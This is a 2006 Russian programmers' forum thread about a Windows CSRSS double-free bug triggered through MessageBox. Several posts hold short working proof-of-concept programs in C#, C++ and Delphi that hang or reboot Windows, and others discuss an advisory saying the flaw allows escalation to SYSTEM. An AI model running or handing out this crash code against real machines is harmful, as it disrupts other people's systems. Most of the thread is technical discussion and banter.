Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 19.12.06 10:06
Оценка: 8 (5) +1
здесь все подробности.
Если у кого-то нету под рукой C++ компилятора, то вот порт под .NET Framework:
// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
  [DllImport("user32.dll")]
  unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);
  
  static unsafe void Main()
  {
    byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
    uint MB_SERVICE_NOTIFICATION = 0x00200000u; 
    fixed(byte* pHelloBug = &helloBug[0])
    {
      for(int i=0; i<10; i++)
        MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
    }
  }
}

Компилим и запускаем:

>> C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\csc.exe /unsafe mbox.cs
>> mbox.exe

После 2-4 итерации Windows начинает, как правило, загибаться.
На Vista может кто-то проверить?
Re: Убийственный MessageBox от Microsoft
От: Ubivetz Украина  
Дата: 19.12.06 10:13
Оценка:
Здравствуйте, Димчанский, Вы писали:

Только что проверял: на самой последней аглицкой ХР (регулярно из инета обновляется) работает. Причём работает жёстко!
Где-то на 4-м MessageBox'е винда перегружается.
Ждём эксплоитов


P.S. Пробовал С++ вариант, компиллировал MinGW.

#include <Windows.h>

using namespace std;

void crush_windows()
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
  ::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}

}
int main(int argc, char *argv[])
{
    crush_windows();
    return EXIT_SUCCESS;
}
Эх, люблю выпить и переспать с кем нибудь!
Но чаще выходит перепить с кем — нибудь и выспаться...
Re: Убийственный MessageBox от Microsoft
От: anonymous Россия http://denis.ibaev.name/
Дата: 19.12.06 10:24
Оценка:
Здравствуйте, Димчанский, Вы писали:

Д>На Vista может кто-то проверить?


Vista тоже гибнет: http://www.kuban.ru/forum_new/forum2/files/19124.html
Re: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 11:01
Оценка:
Здравствуйте, Димчанский, Вы писали:

Д>После 2-4 итерации Windows начинает, как правило, загибаться.

Д>На Vista может кто-то проверить?

Сейчас попробовал на Win2000 + SP4. Программа подвисает, при этом Task Manager в списке процессов ее не показывает. Созданная при запуске консоль не закрывается никак. Однако, остальные приложения работают.

Однако, веселый юмор...
Re[2]: Убийственный MessageBox от Microsoft
От: garant  
Дата: 19.12.06 11:26
Оценка: -1
Здравствуй, Ubivetz.

U> Где-то на 4-м MessageBox'е винда перегружается.


Под дельфями все работает нормально. В смысле что баг не проявился.

--
Тон
Posted via RSDN NNTP Server 2.0
Re[3]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 19.12.06 11:30
Оценка:
Здравствуйте, garant, Вы писали:

G>Здравствуй, Ubivetz.


U>> Где-то на 4-м MessageBox'е винда перегружается.


G>Под дельфями все работает нормально. В смысле что баг не проявился.


Это скорее всего потому, что Делфи вызывают юникод версию MessageBoxW.
Либо они вообще свой messagebox пользуют, а не системный. Код можешь показать?
Re[3]: Убийственный MessageBox от Microsoft
От: serg_fork  
Дата: 19.12.06 11:32
Оценка:
Здравствуйте, garant, Вы писали:


G>Под дельфями все работает нормально. В смысле что баг не проявился.


Не согласен. Работает и в делфи:
Re[2]: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 11:48
Оценка:
Здравствуйте, Privalov, Вы писали:

P>Однако, веселый юмор...


Поторопился, однако, с выводами. До BSOD не дошло, однако перестали запускаться приложения, перестал работать TaskBar, сейчас комп застрял при попытке нормального рестарта. Главное, кнопки RESET на нем нет.
Re[3]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 19.12.06 11:52
Оценка:
Здравствуйте, Privalov, Вы писали:

P>Поторопился, однако, с выводами. До BSOD не дошло, однако перестали запускаться приложения, перестал работать TaskBar, сейчас комп застрял при попытке нормального рестарта. Главное, кнопки RESET на нем нет.


есть кнопка POWER и кабель питания..
Re[4]: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 12:00
Оценка: :))
Здравствуйте, Димчанский, Вы писали:

Д>есть кнопка POWER и кабель питания..


Да, мне говорили. Если ничего не изменится, подумаю над этим вариантом. Но это ж возня: пока разберешся с ними...
Re[5]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 19.12.06 12:10
Оценка: +1 :))) :)
Здравствуйте, Privalov, Вы писали:

P>Да, мне говорили. Если ничего не изменится, подумаю над этим вариантом. Но это ж возня: пока разберешся с ними...


Тут главное, что у тебя лучше получается: тянуть или толкать.
Если тянуть, то упираешься ногами в стол, руками за кабель хватаешься (в месте с изоляцией) и тянешь на себя. Главное не схватить кабель питания от соседнего компа коллеги или от принтера..
Если толкать, то нужно попросить коллегу сделать упор ногой, упираешься и наваливаешься всем телом на кнопку питания примерно в течении 5 секунд. Если не поможет, можно навалиться пальцем.
Re[6]: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 12:18
Оценка:
Здравствуйте, Димчанский, Вы писали:

Д>...Главное не схватить кабель питания от соседнего компа коллеги или от принтера..


Вот именно. А у нас этих кабелей... эээ... много. Вероятность ошибиться достаточно велика. Ибо придется ползать под столом, взбивая пыль и уменшая тем самым и без того небольшое количество света, туда проникающее.


Д>Если толкать, то нужно попросить коллегу сделать упор ногой, упираешься и наваливаешься всем телом на кнопку питания примерно в течении 5 секунд. Если не поможет, можно навалиться пальцем.


Не, надо что-то другое... Коллега может не выдержать, ибо — хрупкая женщина. Надо какой-то способ, чтобы управиться без посторонней помощи.
Re: Убийственный MessageBox от Microsoft
От: leadmd Россия http://leadmd.livejournal.com/
Дата: 19.12.06 12:52
Оценка:
Здравствуйте, Димчанский, Вы писали:
Скорее всего ошибка из за того что указатель на строку сьезжает,и скорее всего в запрещенную область.
Интересно на каком кольце этот месадж бокс выполняется?
Re[2]: Убийственный MessageBox от Microsoft
От: int13h Украина  
Дата: 19.12.06 12:55
Оценка:
Windows 2k3 SP1
Первый раз все нормально. Второй раз — ребут.
Re[7]: Убийственный MessageBox от Microsoft
От: _alm_ Украина  
Дата: 19.12.06 12:55
Оценка:
Здравствуйте, Privalov, Вы писали:

P>Не, надо что-то другое... Коллега может не выдержать, ибо — хрупкая женщина. Надо какой-то способ, чтобы управиться без посторонней помощи.


Ммм... Рубильник на силовом щите ?
Re[8]: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 13:18
Оценка:
Здравствуйте, _alm_, Вы писали:

__>Ммм... Рубильник на силовом щите ?


Что, нажать? Или ударить чем? А обойдусь ли без посторонней помощи?
Re[4]: Убийственный MessageBox от Microsoft
От: garant  
Дата: 19.12.06 13:59
Оценка:
Здравствуй, \.

Д> Это скорее всего потому, что Делфи вызывают юникод версию MessageBoxW.

Д> Либо они вообще свой messagebox пользуют, а не системный. Код можешь показать?

Работает. Ошибся я...

--
Тон
Posted via RSDN NNTP Server 2.0
Re: Убийственный MessageBox от Microsoft
От: ZverX Россия  
Дата: 19.12.06 15:14
Оценка:
Здравствуйте, Димчанский, Вы писали:

Каким образом открыть диск как физическое устройство ? Файл открыть получилось, а вот диск никак.

HANDLE hFile;
OBJECT_ATTRIBUTES oa={0};
IO_STATUS_BLOCK iost={0};
UNICODE_STRING filename;
RtlInitUnicodeString(&filename, L"\\??\\\\.\\PHYSICALDRIVE0");
oa.Length=sizeof(OBJECT_ATTRIBUTES);
oa.ObjectName=&filename;
LARGE_INTEGER li={0};
NtCreateFile(&hFile, GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE, &oa, &iost, &li, 0, FILE_SHARE_READ|FILE_SHARE_WRITE, FILE_OPEN, FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT, 0, 0 );

Здесь кстати можно. Интересно, что же пытается сделать MessageBox?
Re: Убийственный MessageBox от Microsoft
От: Ubivetz Украина  
Дата: 20.12.06 07:48
Оценка: -1
Здравствуйте, Димчанский, Вы писали:

Д>здесь все подробности.

Д>Компилим и запускаем:
Д>

>> C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\csc.exe /unsafe mbox.cs
>>> mbox.exe

Д>После 2-4 итерации Windows начинает, как правило, загибаться.

Всё это приближает знаменательное событие "Вендекапец", которое так долго ждали на ЛОРе
Эх, люблю выпить и переспать с кем нибудь!
Но чаще выходит перепить с кем — нибудь и выспаться...
Re[2]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 20.12.06 08:39
Оценка:
Здравствуйте, Ubivetz, Вы писали:

U>Всё это приближает знаменательное событие "Вендекапец", которое так долго ждали на ЛОРе

U>

Прямо таки спали и видели, как Windows умирает? Сколько ж ненависти нужно иметь для этого?
Re[2]: Убийственный MessageBox от Microsoft
От: Pavel Dvorkin Россия  
Дата: 20.12.06 12:40
Оценка: :)
Здравствуйте, Ubivetz, Вы писали:

U>Всё это приближает знаменательное событие "Вендекапец", которое так долго ждали на ЛОРе


Слухи о моей смерти оказались явно преждевременными (C) Марк Твен
With best regards
Pavel Dvorkin
Re[3]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 20.12.06 12:47
Оценка: +2
Здравствуйте, Pavel Dvorkin, Вы писали:

PD>Слухи о моей смерти оказались явно преждевременными (C) Марк Твен


Слухи о моей смерти оказались несколько преувеличенными.
Re[2]: Убийственный MessageBox от Microsoft
От: Mazay Россия  
Дата: 20.12.06 14:46
Оценка:
Здравствуйте, Ubivetz, Вы писали:

U>Только что проверял: на самой последней аглицкой ХР (регулярно из инета обновляется) работает. Причём работает жёстко!

U>Где-то на 4-м MessageBox'е винда перегружается.
U>Ждём эксплоитов
U>

Да кому этот сплоит нужен? Если только из под ограниченых прав тачку ребутнуть.
Удивляет то, что столь долго и интенсивно испольуемый код содержит такие баги.
Главное гармония ...
Re[9]: Убийственный MessageBox от Microsoft
От: jenyavb  
Дата: 22.12.06 08:54
Оценка:
Здравствуйте, Privalov, Вы писали:

P>Здравствуйте, _alm_, Вы писали:


__>>Ммм... Рубильник на силовом щите ?


P>Что, нажать? Или ударить чем? А обойдусь ли без посторонней помощи?


Кувалдой его! (комп)
... << RSDN@Home 1.1.4 stable SR1 rev. 568>>
Re: Убийственный MessageBox от Microsoft
От: HoseCo  
Дата: 22.12.06 09:46
Оценка:
Здравствуйте, Димчанский, Вы писали:

Д>здесь все подробности.

Д>Если у кого-то нету под рукой C++ компилятора, то вот порт под .NET Framework:
Д>
// mbox.cs
Д>using System;
Д>using System.Runtime.InteropServices;
Д>class HelloWorldFromMicrosoft
Д>{
Д>  [DllImport("user32.dll")]
Д>  unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);
  
Д>  static unsafe void Main()
Д>  {
Д>    byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
Д>    uint MB_SERVICE_NOTIFICATION = 0x00200000u; 
Д>    fixed(byte* pHelloBug = &helloBug[0])
Д>    {
Д>      for(int i=0; i<10; i++)
Д>        MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
Д>    }
Д>  }
Д>}

Д>Компилим и запускаем:
Д>

>> C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\csc.exe /unsafe mbox.cs
>>> mbox.exe

Д>После 2-4 итерации Windows начинает, как правило, загибаться.
Д>На Vista может кто-то проверить?

на шарпе попробовал. Вот такой месадж бокс с 4го раза перезагрузил комп:
MessageBox.Show("\\??\\C:\\", "\\??\\C:\\", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1, MessageBoxOptions.ServiceNotification);

веселая игрушка
... << RSDN@Home 1.1.4 stable SR1 rev. 568>>
Re[3]: Убийственный MessageBox от Microsoft
От: mike_rs Россия  
Дата: 22.12.06 13:44
Оценка:
Здравствуйте, Mazay, Вы писали:

M>Да кому этот сплоит нужен? Если только из под ограниченых прав тачку ребутнуть.

M>Удивляет то, что столь долго и интенсивно испольуемый код содержит такие баги.


http://www.determina.com/security.research/vulnerabilities/csrss-harderror.html

This vulnerability allows a logged on user to execute arbitrary code in the CSRSS.EXE process and elevate their privileges to SYSTEM level. The vulnerable code is present in Windows 2000, XP, 2003 and Vista.

так что не просто ребутнуть. А для "мега-защищенной" висты это просто ппц.
Re: Убийственный MessageBox от Microsoft
От: Delphi_coder  
Дата: 22.12.06 14:07
Оценка:
> На Vista может кто-то проверить?

WinNT 4.0 — 10 итераций, полет нормальный?! Что не так?
Posted via RSDN NNTP Server 2.0
Re[2]: Убийственный MessageBox от Microsoft
От: Great_Vova  
Дата: 22.12.06 14:11
Оценка:
Здравствуйте, Delphi_coder, Вы писали:

D_>WinNT 4.0 — 10 итераций, полет нормальный?! Что не так?


Попробуй больше итераций. У нас одна машина с Win2k свалилась только после >20 итераций
Re: Убийственный MessageBox от Microsoft
От: Ubivetz Украина  
Дата: 22.12.06 14:24
Оценка:
Здравствуйте, Димчанский, Вы писали:

Д>На Vista может кто-то проверить?


Улыбнуло:

север
65 — 22.12.2006 — 08:07 Хех. Дырка дошла до Determina. Они покопались и сказали, что "This vulnerability allows a logged on user to ехесute arbitrary code in the CSRSS.EXE process and elevate their privileges to SYSTEM level."
Так что NULL нашел способ, как в Vista повысить свои привелегии до SYSTEM. Лишил девственности так сказать ...
http://www.determina.com/security.research/vulnerabilities/csrss-harderror.html
север
66 — 22.12.2006 — 12:59 Пошло поехало. Уже эксплоиты видели. Теперь они попадут в свежие вирусы и трояны для повышения прав до системных после заражения пользователя.
.
Так что NULL, если ты мечтал когда-нибудь написать код, который бы получил широкую известность и большое распространение, можешь ставить галочку. Твоя находка будет использоваться и работать на миллионах компьютеров по всему миру

Эх, люблю выпить и переспать с кем нибудь!
Но чаще выходит перепить с кем — нибудь и выспаться...
Re[9]: Убийственный MessageBox от Microsoft
От: metalim Эстония http://mem.ee
Дата: 22.12.06 15:46
Оценка:
Здравствуйте, Privalov, Вы писали:

__>>Ммм... Рубильник на силовом щите ?

P>Что, нажать? Или ударить чем? А обойдусь ли без посторонней помощи?

Без медицинской помощи потом точно не обойдёшься.
Have fun: Win+M, Ctrl+A, Enter
Re[4]: Убийственный MessageBox от Microsoft
От: Mazay Россия  
Дата: 22.12.06 15:48
Оценка:
Здравствуйте, mike_rs, Вы писали:

M>>Да кому этот сплоит нужен? Если только из под ограниченых прав тачку ребутнуть.

M>>Удивляет то, что столь долго и интенсивно испольуемый код содержит такие баги.

_>http://www.determina.com/security.research/vulnerabilities/csrss-harderror.html


_>This vulnerability allows a logged on user to execute arbitrary code in the CSRSS.EXE process and elevate their privileges to SYSTEM level. The vulnerable code is present in Windows 2000, XP, 2003 and Vista.


_>так что не просто ребутнуть. А для "мега-защищенной" висты это просто ппц.


А ещё там написано:

Technical Details:

If the MB_SERVICE_NOTIFICATION flag is specified when calling the MessageBox function from the Windows API, it will use the NtRaiseHardError syscall to send a HardError message to CSRSS. This message contains the caption and text of a message box to be displayed by CSRSS on behalf of the caller. This functionality is designed to allow non-interactive services to notify the user of critical errors.

The HardError message is handled by the UserHardError function in WINSRV.DLL. It calls GetHardErrorText to read the message parameters from the address space of the sender. The GetHardErrorText function returns pointers to the caption and text of the message box. If the caption or text parameters start with the \??\ prefix, the function inexplicably frees the buffer and returns a pointer to freed memory. After the message box is closed by the user, the same buffer is freed again in the FreePhi function, resulting in a double free vulnerability.


Не представляю, как это можно использовать для выполнения кода. ИМХО вероятность не больше чем получить шелл-код генератором случайных чисел. Если б в этот буфер кто-нибудь потом писал, а так — ну попытается какая-нибудь функция считать строку из мусорного указателя и чё?
Главное гармония ...
Re[4]: Убийственный MessageBox от Microsoft
От: Dmitry Kotlyarov Россия  
Дата: 25.12.06 13:37
Оценка:
Здравствуйте, Димчанский, Вы писали:

G>>Под дельфями все работает нормально. В смысле что баг не проявился.


Д>Это скорее всего потому, что Делфи вызывают юникод версию MessageBoxW.



Неправда. MessageBoxA реализован через MessageBoxW, как и все аналогичные ANSI-версии функций Windows API (см. Рихтера и т.п.).
 
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.